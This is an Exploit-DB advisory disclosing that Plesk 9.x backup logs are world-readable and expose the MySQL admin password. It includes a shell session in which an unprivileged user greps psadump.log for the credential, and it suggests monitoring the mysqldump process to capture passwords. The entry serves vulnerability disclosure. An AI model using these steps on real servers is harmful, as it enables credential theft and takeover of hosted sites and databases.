Parallels PLESK 9.x - Insecure Permissions



EDB-ID: 18785 CVE: N/A OSVDB-ID: 81491
Author: Nicolas Krassas Published: 2012-04-26 Verified: Not Verified
Exploit Code:   Download Vulnerable App:   N/A

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# Exploit Title: PLESK 9.x insecure directory permission ( admin password
revealed )
# Date: 25/04/2012
# Author: Nicolas Krassas , twitter.com/dinosn
# Software Link: www.*parallels*.com/*plesk*/
# Version: 9.x
# Tested on: ubuntu / centos

During backup procedures, PLESK panel is keeping a detailed log of the
process under /opt/psa/PMM/sessions in Debian/Ubuntu installations and
/usr/local/psa/PMM/sessions in Centos under the directory with the current
date.  A detailed log file is created with the name psadump.log, with
readable permissions for everyone.  The file will reveal the admin password
used from the backup process to dump the mysql databases from the sites
being backed up.

It's possible to locate data also under the sessions directory from
incomplete/crashed backup sessions where the log files are not safely
removed from the system.

e.g.:

$ id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
$ cd /opt/psa/PMM/sessions
$ ls -Fal
total 32
drwxr-xr-x  8 root root 4096 2012-04-25 21:42 ./
drwxr-xr-x 10 root root 4096 2009-12-03 22:07 ../
drwxr-xr-x  3 root root 4096 2012-04-25 22:12 2012-04-25-211250.973/
$ cat 2012-04-25-211250.973/psadump.log | grep admin
18:52:26 INFO  Executing bundle producer: '/usr/bin/mysqldump -h
'localhost' -u 'admin' -p' PASSOWORD ' -P '3306' --quick --quote-names
--add-drop-table --default-character-set=utf8 --set-charset 'DB'' in

Old but I didn't see it listed, another way is to constantly monitor the
system for the mysqldump process using a simple bash script to get the
credentials as the process is running in the scheduled plesk backups.